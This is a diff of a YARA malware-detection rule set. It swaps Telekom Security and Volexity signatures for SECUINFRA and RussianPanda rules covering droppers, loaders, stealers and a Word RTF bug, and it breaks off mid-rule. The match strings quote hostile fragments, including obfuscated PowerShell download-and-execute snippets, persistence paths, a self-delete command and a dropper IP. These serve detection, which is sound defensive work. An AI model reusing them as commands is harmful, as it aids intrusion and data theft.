+		$a1 = "http://3.145.46.6/"
+		$b1 = "Const HIDDEN_WINDOW = 0"
+		$b2 = "GetObject(\"winmgmts:\\\\"
+		$c = "replace("
 
 	condition:
-		$a
+		filesize <10KB and ($a1 or ( all of ($b*) and #c>10))
 }
-rule TELEKOM_SECURITY_Vatet_Loader_Rufus_Backdoor : DEFRAY777
+rule SECUINFRA_DROPPER_Unknown_1 : DROPPER HTA FILE
 {
 	meta:
-		description = "Detects backdoored Rufus with Vatet Loader of Defray777"
-		author = "Thomas Barabosch, Deutsche Telekom Security"
-		id = "1f6fa228-300c-59de-b89c-3cbdce1b6374"
-		date = "2022-03-18"
-		modified = "2022-03-18"
-		reference = "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777"
-		source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/defray777/vatet_loader.yar#L1-L27"
+		description = "Detects unknown HTA Dropper"
+		author = "SECUINFRA Falcon Team"
+		id = "70c06b9d-8474-5b6e-bd9c-d45a25585ee9"
+		date = "2022-10-02"
+		modified = "2022-02-19"
+		reference = "https://bazaar.abuse.ch/sample/c2bf8931028e0a18eeb8f1a958ade0ab9d64a00c16f72c1a3459f160f0761348/"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Dropper/unknown.yar#L1-L21"
 		license_url = "N/A"
-		logic_hash = "3767398112759689078f992eb272cfec3e59f6d9ca30f8da68c2053e1217fd18"
+		hash = "1749f4127bba3f7204710286b1252e14"
+		logic_hash = "d02874514bcb6c3603d1bfee702ec9e18c15153bc14a55ca8d637308c3f35a75"
 		score = 75
-		quality = 20
-		tags = "DEFRAY777"
-		sharing = "TLP:WHITE"
-		hash_1 = "c9c1caae50459896a15dce30eaca91e49e875207054d98e32e16a3e203446569"
-		hash_2 = "0cb8fc89541969304f3bf806e938452b36348bdd0280fc8f4e9221993e745334"
-		in_memory = "False"
+		quality = 43
+		tags = "DROPPER, HTA, FILE"
 
 	strings:
-		$payload_decryption = { 66 0F F8 C1 66 0F EF C2 66 0F F8 C1 }
-		$mz = "MZ" ascii
-		$rufus = "https://rufus.ie/" ascii
+		$a1 = "<script type=\"text/vbscript\" LANGUAGE=\"VBScript\" >"
+		$a2 = "Function XmlTime(t)"
+		$a3 = "C:\\ProgramData\\"
+		$a4 = "wscript.exe"
+		$a5 = "Array" nocase
+		$b = "chr" nocase
 
 	condition:
-		$mz at 0 and $payload_decryption and $rufus
+		filesize <70KB and all of ($a*) and #b>7
 }
-rule TELEKOM_SECURITY_Fake_Gzip_Bokbot_202104
+rule SECUINFRA_DROPPER_Vjw0Rm_Stage_1 : JAVASCRIPT DROPPER VJW0RM FILE
 {
 	meta:
-		description = "fake gzip provided by CC"
-		author = "Thomas Barabosch, Telekom Security"
-		id = "538d84d8-aff2-571c-ba60-102f18262434"
-		date = "2021-04-20"
-		modified = "2021-07-08"
-		reference = "https://github.com/telekom-security/malware_analysis/"
-		source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/icedid/icedid_20210507.yar#L1-L11"
+		description = "No description has been set in the source file - SecuInfra"
+		author = "SECUINFRA Falcon Team"
+		id = "a07f80e4-56c3-5b75-be64-648bc1fde964"
+		date = "2022-02-19"
+		modified = "2022-02-27"
+		reference = "https://bazaar.abuse.ch/browse.php?search=tag%3AVjw0rm"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Dropper/Vjw0rm.yar#L2-L19"
 		license_url = "N/A"
-		logic_hash = "0f0205234eae1b011b899a59e4430c2de9d913b05efee90ce844a06f1cff04f3"
+		logic_hash = "e5cc23431239e8a650369729050809cf6fe2acc58941086f79ce004b4f506eed"
 		score = 75
-		quality = 70
-		tags = ""
+		quality = 20
+		tags = "JAVASCRIPT, DROPPER, VJW0RM, FILE"
+		version = "0.1"
 
 	strings:
-		$gzip = {1f 8b 08 08 00 00 00 00 00 00 75 70 64 61 74 65}
+		$a1 = "$$$"
+		$a2 = "microsoft.xmldom"
+		$a3 = "eval"
+		$a4 = "join(\"\")"
 
 	condition:
-		$gzip at 0
+		( uint16(0)==0x7566 or uint16(0)==0x6176 or uint16(0)==0x0a0d or uint16(0)==0x660a) and filesize <60KB and all of ($a*)
 }
-rule TELEKOM_SECURITY_Win_Iceid_Gzip_Ldr_202104 : FILE
+import "console"
+
+rule SECUINFRA_HUNT_RTF_CVE_2023_21716_Mar23 : CVE_2023_21716
 {
 	meta:
-		description = "2021 initial Bokbot / Icedid loader for fake GZIP payloads"
-		author = "Thomas Barabosch, Telekom Security"
-		id = "9d905e90-dfec-596b-bd09-72413df49345"
-		date = "2021-04-12"
-		modified = "2021-07-08"
-		reference = "https://github.com/telekom-security/malware_analysis/"
-		source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/icedid/icedid_20210507.yar#L14-L38"
+		description = "Detects RTF documents with an inflated fonttable. Hunting for CVE-2023-21716"
+		author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
+		id = "1b76f428-f2a8-5d1d-a78c-b4a70ac4f5db"
+		date = "2023-03-07"
+		modified = "2023-03-07"
+		reference = "https://www.bleepingcomputer.com/news/security/proof-of-concept-released-for-critical-microsoft-word-rce-bug/"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Hunting/HUNT_RTF_CVE_2023_21716.yar#L3-L20"
 		license_url = "N/A"
-		logic_hash = "caf997e623920a230acce8a7256516aceb6a587823e0525a17e5d69d0ed45d12"
-		score = 75
-		quality = 45
-		tags = "FILE"
+		logic_hash = "456008db725b8348f9f3851bb9aae9990e7613e1b9056846b121605c3e080297"
+		score = 50
+		quality = 70
+		tags = "CVE-2023-21716"
+		tlp = "CLEAR"
 
 	strings:
-		$internal_name = "loader_dll_64.dll" fullword
-		$string0 = "_gat=" wide
-		$string1 = "_ga=" wide
-		$string2 = "_gid=" wide
-		$string3 = "_u=" wide
-		$string4 = "_io=" wide
-		$string5 = "GetAdaptersInfo" fullword
-		$string6 = "WINHTTP.dll" fullword
-		$string7 = "DllRegisterServer" fullword
-		$string8 = "PluginInit" fullword
-		$string9 = "POST" wide fullword
-		$string10 = "aws.amazon.com" wide fullword
+		$fonttbl_len = /\\fonttbl\{.{1,10}\;\}(\s.{1,10}\}){10,}/
 
 	condition:
-		uint16(0)==0x5a4d and filesize <5000KB and ($internal_name or all of ($s*)) or all of them
+		uint32be(0x0)==0x7B5C7274 and !fonttbl_len[1]>256 and console.log("[!] Inflated fonttable with length: ",!fonttbl_len[1])
 }
-rule TELEKOM_SECURITY_Win_Iceid_Core_Ldr_202104 : FILE
+/*
+ * YARA Rule Set
+ * Repository Name: RussianPanda
+ * Repository: https://github.com/RussianPanda95/Yara-Rules
+ * Retrieval Date: 2024-09-01
+ * Git Commit: 52eaa09433fa98e15f60010dfb4daad41ddbb3fc
+ * Number of Rules: 72
+ * Skipped: 0 (age), 1 (quality), 0 (score), 0 (importance)
+ *
+ *
+ * LICENSE
+ *
+ * NO LICENSE SET
+ */
+rule RUSSIANPANDA_Jinxloader : FILE
 {
 	meta:
-		description = "2021 loader for Bokbot / Icedid core (license.dat)"
-		author = "Thomas Barabosch, Telekom Security"
-		id = "f096e18d-3a31-5236-b3c3-0df39b408d9a"
-		date = "2021-04-13"
-		modified = "2021-07-08"
-		reference = "https://github.com/telekom-security/malware_analysis/"
-		source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/icedid/icedid_20210507.yar#L40-L62"
+		description = "Detects JinxLoader Golang version"
+		author = "RussianPanda"
+		id = "25570c99-5938-5be0-a153-a07be0d0571c"
+		date = "2024-01-02"
+		modified = "2024-01-02"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/JinxLoader/JinxLoader-1-2-2024.yar#L1-L16"
 		license_url = "N/A"
-		logic_hash = "d814dbaffb38dc71aaf373512246fd6d811750d526c4afffb0b8018329dcdd90"
+		hash = "6bd7ff5d764214f239af2bb58b368308c2d04f1147678c2f638f37a893995f71"
+		logic_hash = "13dee435fb4d40c629c0a30b6f655b87f14b10a6f6acf61d00e6c692c9bb0ff1"
 		score = 75
-		quality = 70
+		quality = 81
 		tags = "FILE"
 
 	strings:
-		$internal_name = "sadl_64.dll" fullword
-		$string0 = "GetCommandLineA" fullword
-		$string1 = "LoadLibraryA" fullword
-		$string2 = "ProgramData" fullword
-		$string3 = "SHLWAPI.dll" fullword
-		$string4 = "SHGetFolderPathA" fullword
-		$string5 = "DllRegisterServer" fullword
-		$string6 = "update" fullword
-		$string7 = "SHELL32.dll" fullword
-		$string8 = "CreateThread" fullword
+		$s1 = {72 75 6E 74 69 6D 65 2E 67 6F 70 61 6E 69 63}
+		$s2 = {48 8D 05 4D 6E 07 00 BB 0A 00 00 00}
+		$s3 = {73 65 6C 66 5F 64 65 73 74 72 75 63 74 2E 62 61 74}
+		$s4 = {48 8D 1D B7 24 08 00 [25] E8 EF FC E4 FF}
 
 	condition:
-		uint16(0)==0x5a4d and filesize <5000KB and ($internal_name and 5 of them ) or all of them
+		uint16(0)==0x5A4D and all of ($s*) and filesize <9MB
 }
-rule TELEKOM_SECURITY_Win_Iceid_Core_202104 : FILE
+rule RUSSIANPANDA_Ghostgambit : FILE
 {
 	meta:
-		description = "2021 Bokbot / Icedid core"
-		author = "Thomas Barabosch, Telekom Security"
-		id = "526a73da-415f-58fe-bb5f-4c3df6b2e647"
-		date = "2021-04-12"
-		modified = "2021-07-08"
-		reference = "https://github.com/telekom-security/malware_analysis/"
-		source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/icedid/icedid_20210507.yar#L64-L88"
+		description = "Detects GhostGambit dropper"
+		author = "RussianPanda"
+		id = "0348b9fa-59be-5f30-8ebc-f1e87cf98b07"
+		date = "2024-07-09"
+		modified = "2024-07-09"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/GhostGambit/GhostGambit.yar#L1-L14"
 		license_url = "N/A"
-		logic_hash = "c208b4122159d24d010e2913c515d2ff730b30306f787d703816b5af1522ae88"
+		hash = "2b16c68d9bafbd2ecf3634d991d7c794"
+		logic_hash = "419efbea3c347d0ec9365c0c21cccb6f229f8c42d22a2bcfdf14854e7f83aea1"
 		score = 75
-		quality = 70
+		quality = 85
 		tags = "FILE"
 
 	strings:
-		$internal_name = "fixed_loader64.dll" fullword
-		$string0 = "mail_vault" wide fullword
-		$string1 = "ie_reg" wide fullword
-		$string2 = "outlook" wide fullword
-		$string3 = "user_num" wide fullword
-		$string4 = "cred" wide fullword
-		$string5 = "Authorization: Basic" fullword
-		$string6 = "VaultOpenVault" fullword
-		$string7 = "sqlite3_free" fullword
-		$string8 = "cookie.tar" fullword
-		$string9 = "DllRegisterServer" fullword
-		$string10 = "PT0S" wide
+		$s1 = "/code32" ascii wide
+		$s2 = "/reg32" ascii wide
+		$s3 = "ZhuDongFangYu.exe" ascii wide
+		$s4 = "/c ping -n 4 127.0.0.1 > nul && del" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <5000KB and ($internal_name or all of ($s*)) or all of them
+		uint16(0)==0x5A4D and all of them
 }
-rule TELEKOM_SECURITY_Win_Systembc_20220311 : FILE
+rule RUSSIANPANDA_Mal_Narniarat : FILE
 {
 	meta:
-		description = "Detects unpacked SystemBC module"
-		author = "Thomas Barabosch, Deutsche Telekom Security"
-		id = "39e1a131-bd2c-56e9-961f-2b2c31f29e85"
-		date = "2022-03-13"
-		modified = "2022-03-13"
-		reference = "https://medium.com/walmartglobaltech/inside-the-systembc-malware-as-a-service-9aa03afd09c6"
-		source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/systembc/systembc.yara#L1-L27"
+		description = "Detects NarniaRAT from BotnetFenix campaign"
+		author = "RussianPanda"
+		id = "64c3a44b-5d75-5fec-bfc1-b66a5eb5780c"
+		date = "2024-02-02"
+		modified = "2024-02-02"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/NarniaRAT/mal_NarniaRAT.yar#L1-L16"
 		license_url = "N/A"
-		logic_hash = "2f6e2c4c786941f800678e22679d4b81d1097a46c2555ae70e745df1b997c1c8"
+		hash = "43f6c3f92a025d12de4c4f14afa5d098"
+		logic_hash = "3ee8bf6b3970c6f56ca98c87752050217e350da160a650e1724b19f340bf0230"
 		score = 75
-		quality = 70
+		quality = 85
 		tags = "FILE"
-		sharing = "TLP:WHITE"
-		hash_1 = "c926338972be5bdfdd89574f3dc2fe4d4f70fd4e24c1c6ac5d2439c7fcc50db5"
-		in_memory = "True"
 
 	strings:
-		$sx1 = "-WindowStyle Hidden -ep bypass -file" ascii
-		$sx2 = "BEGINDATA" ascii
-		$sx3 = "GET %s HTTP/1.0" ascii
-		$s5 = "User-Agent:" ascii
-		$s8 = "ALLUSERSPROFILE" ascii
+		$s1 = "client-remote desktop"
+		$s2 = "SendDataToServer"
+		$s3 = "SendRunningApps"
+		$s4 = "SendDataToServer"
+		$s5 = "SendKeys"
+		$s6 = "_CorExeMain"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <30KB and 2 of ($sx*)) or all of them
+		uint16(0)==0x5A4D and 5 of them
 }
-/*
- * YARA Rule Set
- * Repository Name: Volexity
- * Repository: https://github.com/volexity/threat-intel
- * Retrieval Date: 2024-08-04
- * Git Commit: 1d68065c8220c284eedd487747bfd41c1ed1d519
- * Number of Rules: 91
- * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance)
- *
- *
- * LICENSE
- *
- * Copyright 2022 by Volexity, Inc.
-
-The 2-Clause BSD License
-
-Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
-1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
-2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+import "pe"
 
- */
-rule VOLEXITY_Apt_Win_Powerstar_Persistence_Batch : CHARMINGKITTEN
+rule RUSSIANPANDA_Metastealer_Core_Payload
 {
 	meta:
-		description = "Detects the batch script used to persist PowerStar via Startup."
-		author = "threatintel@volexity.com"
-		id = "f3ed7b46-d80d-55b1-b6c7-6ea6569f199c"
-		date = "2023-05-16"
-		modified = "2023-09-20"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2023/2023-06-28 POWERSTAR/indicators/rules.yar#L1-L19"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "9c3a45b759516959eae1cdf8e73bf540b682c90359a6232aa4782a8d1fe15b7d"
+		description = "Detects MetaStealer Core Payload"
+		author = "RussianPanda"
+		id = "ff5854b5-4dac-59d7-8c5a-d5b808d63483"
+		date = "2023-12-29"
+		modified = "2023-12-29"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/MetaStealer/metastealer_core_payload_12-2023.yar#L2-L19"
+		license_url = "N/A"
+		logic_hash = "99a319023f2c1b714a70458bd33649d6cc343b500a409af12c2eb1ce38ba4241"
 		score = 75
-		quality = 80
-		tags = "CHARMINGKITTEN"
-		hash1 = "9777f106ac62829cd3cfdbc156100fe892cfc4038f4c29a076e623dc40a60872"
-		memory_suitable = 1
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 85
+		tags = ""
 
 	strings:
-		$s_1 = "e^c^h^o o^f^f"
-		$s_2 = "powershertxdll.ertxdxe"
-		$s_3 = "Get-Conrtxdtent -Prtxdath"
-		$s_4 = "%appdata%\\Microsrtxdoft\\Windortxdws\\"
-		$s_5 = "&(gcm i*x)$"
+		$s1 = "FileScannerRule"
+		$s2 = "TreeObject"
+		$s3 = "Schema"
+		$s4 = "StringDecrypt"
+		$s5 = "AccountDetails"
 
 	condition:
-		3 of them
+		4 of ($s*) and pe.imports("mscoree.dll")
 }
-rule VOLEXITY_Apt_Win_Powerstar_Memonly : CHARMINGKITTEN
+import "pe"
+
+rule RUSSIANPANDA_Metastealer
 {
 	meta:
-		description = "Detects the initial stage of the memory only variant of PowerStar."
-		author = "threatintel@volexity.com"
-		id = "469fc433-da9e-55ed-99fb-9560ec86a179"
-		date = "2023-05-16"
-		modified = "2023-09-20"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2023/2023-06-28 POWERSTAR/indicators/rules.yar#L20-L65"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "d790ff204e4e8adeb3e887d9ebce743e958b523c48317d017487b1b0c6aebc11"
+		description = "Detects the old version of MetaStealer 11-2023"
+		author = "RussianPanda"
+		id = "c178630b-d188-5faf-86b3-436894241d77"
+		date = "2023-11-16"
+		modified = "2023-12-30"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/MetaStealer/metastealer.yar#L2-L19"
+		license_url = "N/A"
+		logic_hash = "f78b376713daf82aa2e0cbd6bf45f33d25530449fa05673c8a7c6b4c0dddca79"
 		score = 75
-		quality = 78
-		tags = "CHARMINGKITTEN"
-		hash1 = "977cf5cc1d0c61b7364edcf397e5c67d910fac628c6c9a41cf9c73b3720ce67f"
-		memory_suitable = 1
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 85
+		tags = ""
 
 	strings:
-		$s_1 = "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($in.substring(3)))"
-		$s_2 = "[Convert]::ToByte(([Convert]::ToString(-bnot ($text_bytes[$i])"
-		$s_3 = "$Exec=[System.Text.Encoding]::UTF8.GetString($text_bytes)"
-		$s_4 = "((65..90) + (97..122) | Get-Random -Count 16 | % {[char]$_})"
-		$f_1 = "function Gorjol{"
-		$f_2 = "Borjol \"$"
-		$f_3 = "Gorjol -text"
-		$f_4 = "function Borjoly{"
-		$f_6 = "$filename = $env:APPDATA+\"\\Microsoft\\Windows\\DocumentPreview.pdf\";"
-		$f_7 = "$env:APPDATA+\"\\Microsoft\\Windows\\npv.txt\""
-		$f_8 = "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\brt8ts74e.bat"
-		$f_9 = "\\Microsoft\\Windows\\s7qe52.txt"
-		$f_10 = "$yeolsoe2 = $yeolsoe"
-		$f_11 = "setRequestHeader(\"Content-DPR\""
-		$f_12 = "getResponseHeader(\"Content-DPR\")"
-		$f_13 = {24 43 6f 6d 6d 61 6e 64 50 61 72 74 73 20 3d 24 53 65 73 73 69 6f 6e 52 65 73 70 6f 6e 73 65 2e 53 70 6c 69 74 28 22 b6 22 29}
-		$f_14 = "$language -like \"*shar*\""
-		$f_15 = "$language -like \"*owers*\""
-		$alias_1 = "(gcm *v????E?P?e*)"
-		$alias_2 = "&(gcm *ke-e*) $Command"
-		$key = "T2r0y1M1e1n1o0w1"
-		$args_1 = "$sem.Close()"
-		$args_2 = "$cem.Close()"
-		$args_3 = "$mem.Close()"
-		$command_1 = "_____numone_____"
-		$command_2 = "_____mac2_____"
-		$command_3 = "_____yeolsoe_____"
+		$s1 = "FileScannerRule"
+		$s2 = "MSObject"
+		$s3 = "MSValue"
+		$s4 = "GetBrowsers"
+		$s5 = "Biohazard"
 
 	condition:
-		2 of ($s_*) or any of ($f_*) or 2 of ($alias_*) or $key or all of ($args_*) or any of ($command_*)
+		4 of ($s*) and pe.imports("mscoree.dll")
 }
-rule VOLEXITY_Apt_Win_Powerstar_Logmessage : CHARMINGKITTEN
+rule RUSSIANPANDA_Metastealer_NET_Reactor_Packer : FILE
 {
 	meta:
-		description = "Detects interesting log message embedded in memory only version of PowerStar."
-		author = "threatintel@volexity.com"
-		id = "5979c776-5138-50e2-adab-0793ad86ba76"
-		date = "2023-05-16"
-		modified = "2023-09-20"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2023/2023-06-28 POWERSTAR/indicators/rules.yar#L66-L79"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "539c9a8b3de24f2c8058d204900344756a8031822ebebc312612b8fb8422e341"
+		description = "Detects NET_Reactor_packer 12-2023 used in MetaStealer"
+		author = "RussianPanda"
+		id = "5d4f62d2-6a27-53af-9b03-61daa99c10a4"
+		date = "2023-12-29"
+		modified = "2023-12-30"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/MetaStealer/metastealer_12-2023_packer.yar#L1-L16"
+		license_url = "N/A"
+		logic_hash = "1951d8b05f11b8a77a5bf792ad2b0ad95b8dede936ab5cd0699383468c3c97a8"
 		score = 75
-		quality = 80
-		tags = "CHARMINGKITTEN"
-		memory_suitable = 1
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 83
+		tags = "FILE"
 
 	strings:
-		$s_1 = "wau, ije ulineun mueos-eul halkkayo?"
+		$s1 = {C7 84 24 80 02 00 00 24 02 00 00 C6 44 24}
+		$s2 = "mscoree.dll" wide
+		$s3 = {43 61 76 69 6c 73 20 43 6f 72 70 2e 20 32 30 31 30}
+		$s4 = {80 F1 E7 80 F2 44 [16] 80 F1 4B 80 F2 23}
 
 	condition:
-		all of them
+		3 of ($s*) and filesize <600KB
 }
-rule VOLEXITY_Apt_Win_Powerstar_Lnk : CHARMINGKITTEN
+rule RUSSIANPANDA_Mal_Botnetfenix_Payload : FILE
 {
 	meta:
-		description = "Detects LNK command line used to install PowerStar."
-		author = "threatintel@volexity.com"
-		id = "33f16283-69b9-5109-b723-3ddc8abb8c41"
-		date = "2023-05-16"
-		modified = "2023-09-20"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2023/2023-06-28 POWERSTAR/indicators/rules.yar#L80-L97"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "da53aeaf69e80f697068779f4741b8c23cff82dd1bfb0640916a1bcc98c4892f"
+		description = "Detects BotnetFenix payload"
+		author = "RussianPanda"
+		id = "566bfae1-c43d-5bd6-adcf-faff32d8c325"
+		date = "2024-02-02"
+		modified = "2024-02-04"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/FenixBotnet/mal_BotnetFenix_Payload.yar#L1-L16"
+		license_url = "N/A"
+		hash = "65a9575c50a96d04a3f649fe0f6b8ccd"
+		logic_hash = "27f423b509ad8de0f8389c7b3e3bfec2eeb10c964aa8c70bad47cc4334df1a5e"
 		score = 75
-		quality = 80
-		tags = "CHARMINGKITTEN"
-		memory_suitable = 1
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 85
+		tags = "FILE"
 
 	strings:
-		$p_1 = "-UseBasicParsing).Content; &(gcm i*x)$"
-		$c_1 = "powershecde43ell.ecde43exe"
-		$c_2 = "wgcde43eet -Ucde43eri"
-		$c_3 = "-UseBasicde43ecParsing).Contcde43eent; &(gcm i*x)$"
+		$s1 = "tasks_register"
+		$s2 = "actionget_action"
+		$s3 = "Post Success"
+		$s4 = "Success Stealer"
+		$s5 = "Download and Execute task id"
+		$a = "_CorExeMain"
 
 	condition:
-		any of them
+		uint16(0)==0x5A4D and 4 of ($s*) and $a
 }
-rule VOLEXITY_Apt_Win_Powerstar_Decrypt_Function : CHARMINGKITTEN
+rule RUSSIANPANDA_Mal_Fenixbotnet_Jse
 {
 	meta:
-		description = "Detects PowerStar decrypt function, potentially downloaded standalone and then injected."
-		author = "threatintel@volexity.com"
-		id = "1fbc2689-8169-53b1-b581-c41ab2b3a16f"
-		date = "2023-05-16"
-		modified = "2023-09-20"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2023/2023-06-28 POWERSTAR/indicators/rules.yar#L98-L121"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "d022e363464488836a1c161f2b9c7463ac91ae6f60f14dfd574189233201c9aa"
+		description = "Detects Fenix Botnet JSE downloader"
+		author = "RussianPanda"
+		id = "00c6f8a6-c2e2-5b08-b332-b91371060bbe"
+		date = "2024-01-18"
+		modified = "2024-02-02"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/FenixBotnet/mal_FenixBotnet_jse.yar#L1-L14"
+		license_url = "N/A"
+		hash = "a7fadf0050d4d0b2cefd808e16dfde69"
+		logic_hash = "848c00361fba60e63e8ec4098404e87d4ba2b11d8489ad16d49c20fc653a5e45"
 		score = 75
-		quality = 80
-		tags = "CHARMINGKITTEN"
-		hash1 = "b79d28fe5e3c988bb5aadb12ce442d53291dbb9ede0c7d9d64eec078beba5585"
-		memory_suitable = 1
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 85
+		tags = ""
 
 	strings:
-		$f_1 = "function Borjol{"
-		$s_1 = "$global:Domain = \""
-		$s_2 = "$global:IP = \""
-		$s_3 = "$global:yeolsoe"
-		$s_4 = "$semii.Close()"
-		$s_5 = "$cemii.Close()"
-		$s_6 = "$memii.Close()"
+		$s1 = {76 61 72 20 [0-30] 3D 20 22 66 22}
+		$s2 = {76 61 72 20 [0-30] 3D 20 22 75 22}
+		$s3 = {76 61 72 20 [0-30] 3D 20 22 6E 22}
+		$s4 = {6E 65 77 20 46 75 6E 63 74 69 6F 6E 28 64 65 63 6F 64 65 55 52 49 43 6F 6D 70 6F 6E 65 6E 74 28 [0-30] 29 29 2E 63 61 6C 6C 28 29}
 
 	condition:
-		any of ($f_*) or 2 of ($s_*)
+		all of ($s*)
 }
-rule VOLEXITY_Apt_Win_Powerstar : CHARMINGKITTEN
+rule RUSSIANPANDA_Easycrypter : FILE
 {
 	meta:
-		description = "Custom PowerShell backdoor used by Charming Kitten."
-		author = "threatintel@volexity.com"
-		id = "febcd23b-6545-571b-905d-18dffe8e913f"
-		date = "2021-10-13"
-		modified = "2023-09-20"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2023/2023-06-28 POWERSTAR/indicators/rules.yar#L122-L150"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "2cbf59eaee60a8f84b1ac35cec3b01592a2a0f56c92a2db218bb26a15be24bf3"
+		description = "Detects EasyCrypter"
+		author = "RussianPanda"
+		id = "73b01a6c-dcd1-502e-a431-daf82ab3ed50"
+		date = "2024-01-05"
+		modified = "2024-01-05"
+		reference = "https://github.com/RussianPanda95/Yara-Rules"
+		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/52eaa09433fa98e15f60010dfb4daad41ddbb3fc/EasyCrypter/easycrypter.yar#L1-L16"
+		license_url = "N/A"
+		hash = "60063c99fda3b6c5c839ec1c310b03e8f9c7c8823f2eb7bf75e22c6d738ffa8f"
+		logic_hash = "761ed4629150453009b76d9c2ad251754009b464550b92dab3395fa30422f6ef"
 		score = 75
-		quality = 80
